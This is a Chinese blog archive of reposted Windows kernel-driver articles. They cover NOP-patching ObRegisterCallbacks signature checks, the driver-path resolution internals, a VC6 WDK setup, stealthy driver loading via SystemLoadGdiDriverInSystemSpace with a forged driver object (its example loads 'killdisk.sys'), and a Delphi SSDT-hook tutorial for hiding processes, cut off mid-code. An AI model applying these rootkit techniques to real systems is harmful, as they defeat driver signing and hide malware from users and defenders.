显示标签为“內核”的博文。显示所有博文
显示标签为“內核”的博文。显示所有博文

2011年10月3日星期一

[轉載]ObRegisterCallbacks返回0xC0000022(拒絕訪問)解決方案


作者:swlilike
最近寫驅動,發現ObRegisterCallbacks這個總是函數調用不成功,在網上查了一下,發現使用這個函數對驅動有特殊的要求,必須使用特殊的簽名才行!否則這個函數會返回0xC0000022(拒絕訪問),逆向此函數可以看到以下是有關是否加簽名的判斷,

PAGE:00000001404AA75D call MmVerifyCallbackFunction
PAGE:00000001404AA762 cmp eax, ebx
PAGE:00000001404AA764 jz short loc_1404AA7E1
PAGE:00000001404AA766
PAGE:00000001404AA766 loc_1404AA766: ; CODE XREF: ObRegisterCallbacks+11B?j
PAGE:00000001404AA766 mov rcx, [rsi+rbp+18h]
PAGE:00000001404AA76B cmp rcx, rbx
PAGE:00000001404AA76E jz short loc_1404AA779
PAGE:00000001404AA770 call MmVerifyCallbackFunction
PAGE:00000001404AA775 cmp eax, ebx
PAGE:00000001404AA777 jz short loc_1404AA7E1

開發調試時可以將
PAGE:00000001404AA764 jz short loc_1404AA7E1
PAGE:00000001404AA76E jz short loc_1404AA779
這兩行改為nop暫時使ObRegisterCallbacks調用成功,方便開發調試和暫時沒簽名的朋友

ObRegisterCallbacks這個函數是在Vista sp1之後的版本中添加的,可用來監控系統中對進線程句柄的操作,如打開進程、複製線程句柄等。

2011年10月1日星期六

[轉載]Windows處理驅動Path流程


作 者: boywhp
時 間: 2011-08-31,15:50:13
鏈接: http://bbs.pediy.com/showthread.php?t=139566

昨天寫了一個類似SC查詢驅動服務的信息的程序,發現獲取到的路徑ImagePath是\??\c:\xxxxx,導致我用CreateFile什麼的函數,居然失敗!就比較好奇windows是怎麼處理驅動服務一類的路徑處理。我知道windows是在註冊表中記錄的啟動服務信息,直接用註冊表打開查看如下:


注意其中的ImagePath,我發現大致有好幾種情況:
1、 無ImagePath項
2、 system32\xxxxxxxx
3、 \??\c:\xxxxxx
4、 %SystemRoot%xxxxxx
我想了解的是windows驅動服務是怎麼處理這玩意的,既然是驅動最終會調用NtLoadDriver函數
NTSTATUS NtLoadDriver ( __in PUNICODE_STRING DriverServiceName )
直接Windbg啟動調試 bp NtLoadDriver


fa06fa2c fa06fa38 80821a99 nt!NtLoadDriver+0x143
fa06fa2c fa06fa38 80821a99 nt!KiFastCallEntry+0xf8
fa06fa2c 815d5828 815b08e8 nt!ZwLoadDriver+0x11
817c7030 815d5770 fa06fab8 NDIS!ndisPnPDispatch+0x3ad

哦,NDIS不錯哦,還可以加載驅動,呵呵,相關興趣的可以IDA研究下,下面是我發現的一些非常規驅動加載列表[2003 server]:


1 "\Registry\Machine\System\CurrentControlSet\Services\Gpc"
fa01fa20 fa01fa3c 80821a99 nt!NtLoadDriver
fa01fa20 fa01fa3c 80821a99 nt!KiFastCallEntry+0xf8
fa01fa20 8142e000 8089547a nt!ZwLoadDriver+0x11
f96454b8 8142e000 8089547a ipsec!GpcInitialize+0x7f
00000000 8081dceb 815142f0 ipsec!IPSecGpcInitialize+0x35
815142f0 e12a75dc 00000000 ipsec!IPSecGeneralInit+0x168
815142f0 81430000 e144aa30 ipsec!DriverEntry+0x104
000000ec 00000001 00000000 nt!IopLoadDriver+0x689
00000000 00043000 00000000 nt!IopInitializeSystemDrivers+0x16d
00000000 00000000 8179d740 nt!IoInitSystem+0x6ad
80087000 fa01fddc 80905b5b nt!Phase1InitializationDiscard+0x9cf
80087000 00000000 00000000 nt!Phase1Initialization+0xd
808c9f21 80087000 00000000 nt!PspSystemThreadStartup+0x2e
00000000 00000000 00000000 nt!KiThreadStartup+0x16

2 "\Registry\Machine\System\CurrentControlSet\Services\WANARP"
f9948bdc f9948bf4 80821a99 nt!NtLoadDriver
f9948bdc f9948bf4 80821a99 nt!KiFastCallEntry+0xf8
f9948bdc 00000000 81503dd0 nt!ZwLoadDriver+0x11
f9948c8c f9948c1c 8160d2dc tcpip!IPBindAdapter+0xf2
80a719b0 80a71988 f99a7534 NDIS!ndisInitializeBinding+0x189
f99a53bc 00000000 81503e60 NDIS!ndisCheckAdapterBindings+0xd9
81503dd0 00000000 81289db0 NDIS!ndisCheckProtocolBindings+0xd2
81503e50 00000000 00000000 NDIS!ndisWorkerThread+0x74
f99a8a41 81503e50 00000000 nt!PspSystemThreadStartup+0x2e
00000000 00000000 00000000 nt!KiThreadStartup+0x16

3 "\Registry\Machine\System\CurrentControlSet\Services\Cdfs"
f9948974 f994897c 80821a99 nt!NtLoadDriver
f9948974 f994897c 80821a99 nt!KiFastCallEntry+0xf8
f9948974 81751200 814861d0 nt!ZwLoadDriver+0x11
c000010e f9f0439e 814861d0 Fs_Rec!FsRecLoadFileSystem+0x4f
814861d0 81751200 8163bad8 Fs_Rec!CdfsRecFsControl+0x29
814861d0 81751200 814861d0 Fs_Rec!FsRecFsControl+0x75
81668680 808a73a0 815fa8f8 nt!IofCallDriver+0x45
814861d0 80a71908 815fa8f8 nt!IopLoadFileSystemDriver+0x62
c000019c 8163cd00 00000000 nt!IopMountVolume+0x2cc
8163cd20 815fa800 f9948b9c nt!IopCheckVpbMounted+0x54
815fa8f8 00000000 81533c60 nt!IopParseDevice+0x3d4
00000000 f9948c18 00000040 nt!ObpLookupObjectName+0x5b0
00000000 00000000 0007ff01 nt!ObOpenObjectByName+0xea
0015fe0c 00100180 0015fdd0 nt!IopCreateFile+0x447
0015fe0c 00100180 0015fdd0 nt!IoCreateFile+0xa3
0015fe0c 00100180 0015fdd0 nt!NtOpenFile+0x27
0015fe0c 00100180 0015fdd0 nt!KiFastCallEntry+0xf8
WARNING: Stack unwind information not available. Following frames may be wrong.
7c959e17 4858d650 7c958270 ntdll+0x285fe
00000000 7c94a469 00000000 0x48584401
ffffffff 4858afe8 48582f48 0x485894ec

4 "\Registry\Machine\System\CurrentControlSet\Services\tdtcp"
f7ed2b4c f7ed2b6c 80821a99 nt!NtLoadDriver
f7ed2b4c f7ed2b6c 80821a99 nt!KiFastCallEntry+0xf8
f7ed2b4c f9db12e8 8118bf78 nt!ZwLoadDriver+0x11
8127b178 f7ed2b88 81182258 termdd!_IcaLoadSdWorker+0x11b
8118225c f7ed2ba8 811c29e8 termdd!_IcaLoadSd+0x8b
811c29e8 81182258 8122cf68 termdd!_IcaPushStack+0x7b
811c29e8 8122cf68 8122cfd8 termdd!IcaDeviceControlStack+0x11f
8122cf68 8122cfd8 8122cf68 termdd!IcaDeviceControl+0x4e
81617f10 8122cf68 8151db90 termdd!IcaDispatch+0x12a
8122cfd8 ffa7ed10 8122cf68 nt!IofCallDriver+0x45
81617f10 8122cf68 ffa7ed10 nt!IopSynchronousServiceTail+0x10b
00000208 00000000 00000000 nt!IopXxxControlFile+0x60f
00000208 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
00000208 00000000 00000000 nt!KiFastCallEntry+0xf8
WARNING: Stack unwind information not available. Following frames may be wrong.
00000208 0038002b 0250fa18 ntdll+0x285fe
000a0498 0038002b 0250fa18 0x74cd166f
000a0498 0038002b 0250fa18 0x74cd16b4
000be2f0 000a0498 0038002b 0x764a0759
000a0498 0038002b 0250fa18 0x74cd16fe
00000000 00000000 808466ca 0x74cd17cf
以及"\Registry\Machine\System\CurrentControlSet\Services\rdpwd"

然後是NtLoadDriver -> IopLoadUnloadDriver -> IopLoadDriver->IopBuildFullDriverPath

NTSTATUS
IopBuildFullDriverPath(
    IN PUNICODE_STRING KeyName,
    IN HANDLE KeyHandle,
    OUT PUNICODE_STRING FullPath
    )
這里處理了下註冊表路徑,具體WRK代碼如下

代碼:
    status = IopGetRegistryValue( KeyHandle,
                                  L"ImagePath",
                                  &keyValueInformation);
    if (NT_SUCCESS(status) && keyValueInformation->DataLength) {
        nameLength = keyValueInformation->DataLength - sizeof(WCHAR);
        name = (PWCHAR)KEY_VALUE_DATA(keyValueInformation);
        if (name[0] != L'\\') {
            path = L"\\SystemRoot\\";
            pathLength = sizeof(L"\\SystemRoot\\") - sizeof(UNICODE_NULL);
        } else {
            path = NULL;
        }
        ext = NULL;
    } else {
        nameLength = KeyName->Length;
        name = KeyName->Buffer;
        pathLength = sizeof(L"\\SystemRoot\\System32\\Drivers\\") - sizeof(UNICODE_NULL);
        path = L"\\SystemRoot\\System32\\Drivers\\";
        extLength = sizeof(L".SYS") - sizeof(UNICODE_NULL);
        ext = L".SYS";
}
  1、如果沒有ImagePath項目就在”\SystemRoot\System32\Drivers\” + BaseName.sys 找
  2、如何ImagePath = 是'\'開頭,=ImagePath
        3、如果不是'\'開頭path = “\SystemRoot\” + ImagePath

這裡SystemRoot我比較好奇,想看看系統是怎麼處理這個路徑的,繼續:
IopLoadDriver 會調用MmLoadSystemImage-> ZwOpenFile->NtOpenFile

bp NtOpenFile命中
kd> dt !_OBJECT_ATTRIBUTES fa06f734
nt!_OBJECT_ATTRIBUTES
   +0x000 Length : 0x18
   +0x004 RootDirectory : (null)
   +0x008 ObjectName : 0xfa06f888 _UNICODE_STRING "\SystemRoot\System32\Drivers\NDProxy.SYS"
   +0x00c Attributes : 0x240
   +0x010 SecurityDescriptor : (null)
   +0x014 SecurityQualityOfService : (null)
繼續跟踪->IopCreateFile->ObOpenObjectByName->ObpLookupObjectName


代碼:
ParseFromRoot:
if (DeviceMap != NULL) {
ObfDereferenceDeviceMap(DeviceMap);
DeviceMap = NULL;
}

if (!((ULONG_PTR)(ObjectName->Buffer) & (sizeof(ULONGLONG)-1))) {
//
// Check if the object name is actually equal to the
// global dos devices short name prefix "\??\"
//

if ((ObjectName->Length >= ObpDosDevicesShortName.Length)
                        &&
(*(PULONGLONG)(ObjectName->Buffer) == ObpDosDevicesShortNamePrefix.Alignment.QuadPart)) {
  XXXXXXXXXXXXXXXXXXXX
}
其ObpXxxx定義如下:

代碼:
const ALIGNEDNAME ObpDosDevicesShortNamePrefix = { L'\\',L'?',L'?',L'\\' }; // L"\??\"
const ALIGNEDNAME ObpDosDevicesShortNameRoot = { L'\\',L'?',L'?',L'\0' }; // L"\??"
const UNICODE_STRING ObpDosDevicesShortName = {
    sizeof(ObpDosDevicesShortNamePrefix),
    sizeof(ObpDosDevicesShortNamePrefix),
    (PWSTR)&ObpDosDevicesShortNamePrefix
};
隨便問一下if (!((ULONG_PTR)(ObjectName->Buffer) & (sizeof(ULONGLONG)-1)))是要求64字節對齊嗎?
大致流程是:
如果是\??\開頭的直接獲取RootDirectory,否則需要解析root目錄,通過下面函數
PVOID
ObpLookupDirectoryEntry (
    IN POBJECT_DIRECTORY Directory,
    IN PUNICODE_STRING Name,
    IN ULONG Attributes,
    IN BOOLEAN SearchShadow,
    OUT POBP_LOOKUP_CONTEXT LookupContext
)
bp ObpLookupDirectoryEntry命中:
kd> dd esp
fa06f3ec 80902d75 e1000700 fa06f410 00000240
kd> dt !_UNICODE_STRING fa06f410
nt!_UNICODE_STRING
 "SystemRoot"
   +0x000 Length : 0x14
   +0x002 MaximumLength : 0xf8
   +0x004 Buffer : 0xe12c4d62 "SystemRoot"
我們關心的SystemRoot出現了,大致看了下,居然就是計算了SystemRoot字符串的hash! ! !然後估計就是查表,其hash算法為:

代碼:
    HashIndex = 0;

    while (WcharLength--) {
        Wchar = *Buffer++;
        HashIndex += (HashIndex << 1) + (HashIndex >> 1);

        if (Wchar < 'a') {
            HashIndex += Wchar;
        } else if (Wchar > 'z') {
            HashIndex += RtlUpcaseUnicodeChar( (WCHAR)Wchar );
        } else {
            HashIndex += (Wchar - ('a'-'A'));
        }
    }

    HashValue = HashIndex;
    HashIndex %= NUM​​BER_HASH_BUCKETS;
#define NUMBER_HASH_BUCKETS 37
好像大致是一個hash目錄表,首先簡單的通過hash快速查找,對應的37個鍊錶之1,然後遍歷鍊錶比較名稱是否為SystemRoot。
在WRK中搜索"SystemRoot",發現其在Initos.c的CreateSystemRootLink函數中被初始化創建符號鏈接

代碼:
    //
    // Create the symbolic link to the root of the system directory.
    //

    RtlInitAnsiString( &linkString, INIT_SYSTEMROOT_LINKNAME );

    status = RtlAnsiStringToUnicodeString( &linkUnicodeString,
                                           &linkString,
                                           TRUE);
    InitializeObjectAttributes( &objectAttributes,
                                &linkUnicodeString,
                                OBJ_CASE_INSENSITIVE | OBJ_PERMANENT,
                                NULL,
                                SePublicDefaultUnrestrictedSd );
。 。 。 。 。 。
    status = NtCreateSymbolicLinkObject( &linkHandle,
                                         SYMBOLIC_LINK_ALL_ACCESS,
                                         &objectAttributes,
                                         &deviceNameUnicodeString );

#define INIT_SYSTEMROOT_LINKNAME "\\SystemRoot"
至此,大致了解了這個路徑的處理過程,至於我的問題應該可以很好的使用ZwOpenFile還處理,因為操作系統本身也是直接調用ZwOpenFile,或者直接把\??\過濾掉得了。

2011年9月30日星期五

[轉載]最新驅動WDK7600在VC6.0下的編譯開發配置環境


作者:wingdbg
網上找了很多資料,都不好使。相信有很多像我一樣偏好VC6.0的傢伙,最新的WDK真的用不了麼?必須可以! ! !

    開始之前要一定要明確一件事情,單獨使用WDK+記事本就可以開發驅動,和VC的編譯器耗無關係,而使用VC的唯一目的,就是把它當作超級記事本,這樣可以省去自己維護Makefile的麻煩,並且擁有IDE的其他各種便捷。


1.安裝好VC6和DWK,先後順序無關。
    從開始菜單找到WDK的程序目錄,進入“Windows XP Checked Build Environment”,輸入命令"build",此時WDK將會把自己進行編譯,大約需要1分鐘。

2.VC6設置Include/Lib/Executable目錄。
    設置為自己需要編譯的平台的各個目錄即可, Include要確保找到ntddk.h等,Lib與Include對應,Executable 要確保能找到cl.exe
例如XP平台下設置為:

include包含部分:

C:\WinDDK\7600.16385.1\inc\ddk
C:\WinDDK\7600.16385.1\inc\api
C:\WinDDK\7600.16385.1\inc\crt


lib連接庫包含部分:

C:\WINDDK\7600.16385.1\LIB\WXP\I386
C:\WINDDK\7600.16385.1\LIB\WIN7\I386


執行文件包含:

C:\WINDDK\7600.16385.1\BIN
C:\WINDDK\7600.16385.1\BIN\X86
C:\WinDDK\7600.16385.1\bin\x86\x86

對於VC原有的路徑,Include 和Lib建議都刪除掉,而Executable則將你新加的置頂,順序不能錯。其余建議保留(雖然編譯驅動不會使用VC的Bin目錄下的ml.exe、link.exe 等,但vc的代碼提示等功能是需要bin目錄下的一些程序來完成的,因此還是至少要保留VC原有的Bin目錄,但必須在DDK的之後)。

3.建立一個空工程,Exe或者Dll都可以,然後直接修改工程屬性:

要改的地方不少,描述各個選項還不如直接記錄個文本的,清空C/C++和Link下面的Option文本框,按下面的填寫。

C/C++ 選項填寫:
/nologo /Gz /MLd /W3 /WX /Z7 /Od /D WIN32=100 /D _X86_=1 /D WINVER=0x500 /D DBG=1 /Fo"MyDriver_Check/" /Fd"MyDriver_Check/" /FD /c

LINK 選項填寫:
    NT式驅動為
ntoskrnl.lib /nologo /base:"0x10000" /stack:0x400000,0x1000 /entry:"DriverEntry" /subsystem:console /incremental:no /pdb:"MyDriver_Check/HelloDDK.pdb" /map:"MyDriver_Check/HelloDDK.map " /debug /machine:I386 /nodefaultlib /out:"MyDriver_Check/HelloDDK.sys" /subsystem:native /driver /SECTION:INIT,D /RELEASE /IGNORE:4078

    WDM式驅動為

wdm.lib /nologo /base:"0x10000" /stack:0x400000,0x1000 /entry:"DriverEntry" /subsystem:console /incremental:no /pdb:"SYS_Check/HelloWDM.pdb" /debug /machine:I386 /nodefaultlib / out:"SYS_Check/HelloWDM.sys" /subsystem:native /driver /SECTION:INIT,D /RELEASE /IGNORE:4078

4.保存配置,現在給這個空工程建一個c文件,複製以下內容:

#include <ntddk.h>
NTSTATUS DriverEntry(
        IN PDRIVER_OBJECT DriverObject,
        IN PUNICODE_STRING RegistryPath
        )
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        return status;
}

編譯通過則配置成功! ! !

2011年8月8日星期一

無hook無patch 無自定義peloader 在內核加載執行驅動

作 者: cvcvxk
時 間: 2011-08-07,21:22:23


我們都知道ZwSetSystemInformation可以用參數SystemExtendServiceTableInformation(38號)加載驅動~但是這個加載驅動有很多很多麻煩與問題~
今天我來介紹的是一種全新的加載驅動的模式~~當然只能在Kernel mode來加載~只有斷斷的一個KernelAPI的使用哦~親~
現在目前說來在內核裡加載驅動的方式基本都是ZwLoadDriver,Patch 38號的Load參數,搜索使用MmLoadSystemImage,自己實現peloader等​​不方便不給力,有遺憾的方法~
現在呢,正式介紹一種全新的加載方式,使用ZwSetSystemInformation的
SystemLoadGdiDriverInSystemSpace(54號)來加載驅動,然後調用之~~
這個infoclass的結構定義,不知道DDK上有沒有~~


代碼:
typedef struct _SYSTEM_GDI_DRIVER_INFORMATION {
        UNICODE_STRING DriverName;
        PVOID ImageAddress;
        PVOID SectionPointer;
        PVOID EntryPoint;
        PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;
        ULONG ImageLength;
} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;
然後就是怎麼使用了鳥~只要對DriverName用RtlInitUnicodeString賦值就行了
(\\??\\XXXXX形式的參數或者是\\SystemRoot\\XXX形式)
具體請看代碼,代碼如下~~


代碼:
NTSTATUS SysLoad(const WCHAR *wcsFileName)
{
        SYSTEM_GDI_DRIVER_INFORMATION gdiinfo;
        NTSTATUS ns;
        PDRIVER_OBJECT pBeepObj;
        RtlZeroMemory(&gdiinfo,sizeof(SYSTEM_GDI_DRIVER_INFORMATION));
        RtlInitUnicodeString(&gdiinfo.DriverName,wcsFileName);
        ns=ZwSetSystemInformation(SystemLoadGdiDriverInSystemSpace,&gdiinfo,sizeof(SYSTEM_GDI_DRIVER_INFORMATION));
        if (NT_SUCCESS(ns))
        {
                PDRIVER_INITIALIZE InitRoutine;
                UNICODE_STRING pRegPath;
                UNICODE_STRING NameBuffer;
                UNICODE_STRING DevName;
                WCHAR buffer[60];
                InitRoutine = (PDRIVER_INITIALIZE)gdiinfo.EntryPoint;
                if (InitRoutine)
                {
                        PDRIVER_OBJECT pDriverObject;
                         _snwprintf(buffer, (sizeof(buffer) / sizeof(WCHAR)) - 1, L"\\Driver\\%08u", PsGetCurrentThreadId());
                        RtlInitUnicodeString(&NameBuffer,buffer);
                        RtlInitUnicodeString(&DevName, L"\\Driver\\Beep");
                        RtlInitUnicodeString(&pRegPath,wcsFileName);
                        ns = ObReferenceObjectByName(&DevName, OBJ_CASE_INSENSITIVE, NULL,
                                0, *IoDriverObjectType, KernelMode, NULL, &pBeepObj);
                        if (NT_SUCCESS(ns))
                        {
                                ns=MakeFakeDriverObject(&NameBuffer,&pDriverObject);
                                if(NT_SUCCESS(ns))
                                {
                                        pDriverObject->DriverStart=InitRoutine;
                                        pDriverObject->DriverInit=InitRoutine;
                                        pDriverObject->DriverSection=pBeepObj->DriverSection;
                                        pDriverObject->DriverSize=gdiinfo.ImageLength;
                                        ns= InitRoutine(pDriverObject,&pRegPath);
                                }
                        }
                        
                }
        }
        return ns;
}
在上面代碼裡使用了MakeFakeDriverObject來創建一個虛擬的DriverObject
這個函數代碼在這裡也貼一下~

代碼:
NTSTATUS
        IopInvalidDeviceRequest(
        IN PDEVICE_OBJECT DeviceObject,
        IN PIRP Irp
        )
{
        if ((IoGetCurrentIrpStackLocation(Irp))->MajorFunction == IRP_MJ_POWER) {
                PoStartNextPowerIrp(Irp);
        }
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        IoCompleteRequest( Irp, IO_NO_INCREMENT );
        return STATUS_INVALID_DEVICE_REQUEST;
}
NTSTATUS MakeFakeDriverObject(IN PUNICODE_STRING driverName,OUT PDRIVER_OBJECT* ppdriverObject)
{
        NTSTATUS status;
        ULONG i;
        OBJECT_ATTRIBUTES objectAttributes;
        PDRIVER_OBJECT driverObject;
        InitializeObjectAttributes( &objectAttributes,
                driverName,
                OBJ_PERMANENT,
                (HANDLE) NULL,
                (PSECURITY_DESCRIPTOR) NULL );
        status = ObCreateObject( ExGetPreviousMode(),
                *IoDriverObjectType,
                &objectAttributes,
                KernelMode,
                (PVOID) NULL,
                //(ULONG) (sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION )),//this will crash
                //because DRIVER_OBJECT is fixed but DRIVER_EXTENSION are growing bigger than ddk declared
                (ULONG) (sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION ) + 256),
                0,
                0,
                (PVOID *) ppdriverObject );
        if (!NT_SUCCESS( status ))
        {
                *ppdriverObject = NULL;
                return status;
        }
        driverObject=*ppdriverObject;
        RtlZeroMemory( driverObject, sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION) + 256 );
        
        driverObject->DriverExtension = (PDRIVER_EXTENSION) (driverObject + 1);
        driverObject->DriverExtension->DriverObject = driverObject;//這個DriverExtension常用,如果沒有直接慘死
        driverObject->Type = IO_TYPE_DRIVER;
        driverObject->Size = sizeof( DRIVER_OBJECT );
        driverObject->Flags = DRVO_BUILTIN_DRIVER;
        for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
                driverObject->MajorFunction[i] = IopInvalidDeviceRequest;
        _asm
        {
                        push eax
                        push ebx
                        mov eax,driverObject
                        mov eax,[eax+0x14]
                        mov ebx,[eax+0x34]
                         shr ebx,19
                        or ebx,1
                        shl ebx,19
                        mov [eax+0x34],ebx
                        pop ebx
                        pop eax
        }
        driverObject->DriverName.Buffer = ExAllocatePool( PagedPool,driverName->MaximumLength );
        if (driverObject->DriverName.Buffer)
        {
                driverObject->DriverName.MaximumLength = driverName->MaximumLength;
                driverObject->DriverName.Length = driverName->Length;
                RtlCopyMemory( driverObject->DriverName.Buffer,driverName->Buffer,driverName->MaximumLength );
        }
        return status;
}
ok這樣子就行鳥~~這些代碼只能在kernel mode加載sys哦~~親~~
就這樣子!

代碼:
SysLoad(L"\\??\\C:\\123\\killdisk.sys");

2011年7月28日星期四

SSDT Hook原理及Delphi實現

作者:mickeylan
  
一、一般思路:
1.先來了解一下,什麼是SSDT
SSDT即System Service Dispath Table。在了解它之前,我們先了解一下NT的基本組件。在Windows NT 下,NT 的executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種Win32、OS/2 和POSIX 的APIs 都是以DLL 的形式提供的。這些dll中的APIs 轉過來調用了NT executive 提供的服務。儘管調用了相同的系統服務,但由於子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用CreateFile(),而要用POSIX API,則應用程序調用open() 函數。這兩種應用程序最終都會調用NT executive 中的NtCreateFile() 系統服務。

用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然後通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,如下圖:

從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那麼,哈哈。 。 。 。 。 。 。下來詳細了解一下,SSDT的結構,如下圖:

KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構如下:
TServiceDescriptorEntry=packed record
  ServiceTableBase:PULONG;
  ServiceCounterTableBase:PULONG;
  NumberOfServices:ULONG;
  ParamTableBase:PByte;
end;

其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由ServiceTableBase 描述的服務的數目。
ServiceCounterTable 此域用於操作系統的checked builds,包含著SSDT 中每個服務被調用次數的計數器。這個計數器由INT 2Eh 處理程序(KiSystemService)更新。
ParamTableBase 包含每個系統服務參數字節數表的基地址。
System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4字節長。
System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在於Win32k.sys。在如下圖:

右側的服務分發就通過KeServiceDescriptorTableShadow。
那麼下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
2. Hook前的準備-改變SSDT內存的保護
系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是BSOD。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
(1)改變CR0寄存器的第1位
Windows對內存的分配,是採用的分頁管理。其中有個CR0寄存器,如下圖:

其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。 SSDT、IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
(2) 通過Memory Descriptor List(MDL)
也就是把原來SSDT的區域映射到我們自己的MDL區域中,並把這個區域設置成可寫。 MDL的結構:
TMDL=packed record
  Next: PMDL;
  Size: CSHORT;
  MdlFlags: CSHORT;
  Process: PEPROCESS;
  MappedSystemVa: PVOID;
  StartVa: PVOID;
  ByteCount: ULONG;
  ByteOffset: ULONG;
end;

首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然後把這個MDL結構的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那麼這個區域就可以寫了。最後把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:

{ 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
由於Delphi不支持導入其他模塊導出的變量,因此我們在這裡使用變通的方法,我們把KeServiceDescriptorTable當成函數導入。因此在處理上就和C不同了。由於KeServiceDescriptorTable是當成函數導入的,因此它的真實地址就保存在IAT表中,我們首先用GetImportFunAddr函數從IAT中取得KeServiceDescriptorTable的地址,接下來用SystemServiceName函數取得相應函數在SSDT中的地址。 SystemServiceName的原理就是因為所有的Zw*函數都開始於opcode:MOV eax, ULONG,這裡的ULONG就是系統調用函數在SSDT中的索引。接下來我們使用InterlockedExchange自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
3.小試牛刀:利用SSDT Hook隱藏進程
我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由於調用了一個叫ZwQuerySystemInformation的內核函數,其函數原型如下:
function ZwQuerySystemInformation(
  SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果這值是5,則代表系統中所有進程信息}
  SystemInformation: PVOID; {這就是最終列舉出的信息,和上面的值有關}
  SystemInformationLength: ULONG;
  ReturnLength: PULONG): NTSTATUS; stdcall;

如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
(1) 突破SSDT的內存保護,如上所用的MDL方法
(2) 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
(3) 用InterlockedExchange來交換ZwQuerySystemInformation與我們自己的New*函數
(4) 卸載New*函數,完成。
具體代碼如下:
unit ssdt_hook;

interface

uses
  nt_status, ntoskrnl, native, fcall, macros;

function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
                      pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

implementation
type
  {定義ZwQuerySystemInformation函數類型}
  TZwQuerySystemInformation =
    function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
             SystemInformation: PVOID;
             SystemInformationLength: ULONG;
             ReturnLength: PULONG): NTSTATUS; stdcall;

var
  m_UserTime: LARGE_INTEGER;
  m_KernelTime: LARGE_INTEGER;
  OldZwQuerySystemInformation: TZwQuerySystemInformation;
  g_pmdlSystemCall: PMDL;
  MappedSystemCallTable: PPointer;
  lpKeServiceDescriptorTable: PServiceDescriptorEntry;

{ 由於Delphi無法導入其他模塊導出的變量,因此我們變通一下,將其
  當做函數導入,這樣,其真實地址就保存在IAT中,每條導入函數的
  IAT記錄有6字節,格式為jmp ds:[xxxxxxxx],機器碼為FF25xxxxxxxx,
  FF25是長跳轉的機器碼,跳過這2字節就是需要的地址。這點與C中不同,
  需要注意。 }
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//從導入表中獲取一個函數的地址
begin
  { 直接使用指針指向函數即可,還原SSDT的時候類似,也只需要指向
    KeServiceDescriptorTable }
  Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

{ KeServiceDescriptorTable+函數名計算SSDT函數偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
  { SSDT偏移+函數名,就是SSDT函數偏移 }
  { Delphi 2009中支持Pointer Math運算,可以這樣寫 }
  {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
  { 如果用其他版本,就只能像下面這樣寫了 }
  Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

{ 我們的hook函數,過濾掉"InstDrv"的進程 }
function NewZwQuerySystemInformation(
            SystemInformationClass: SYSTEM_INFORMATION_CLASS;
            SystemInformation: PVOID;
            SystemInformationLength: ULONG;
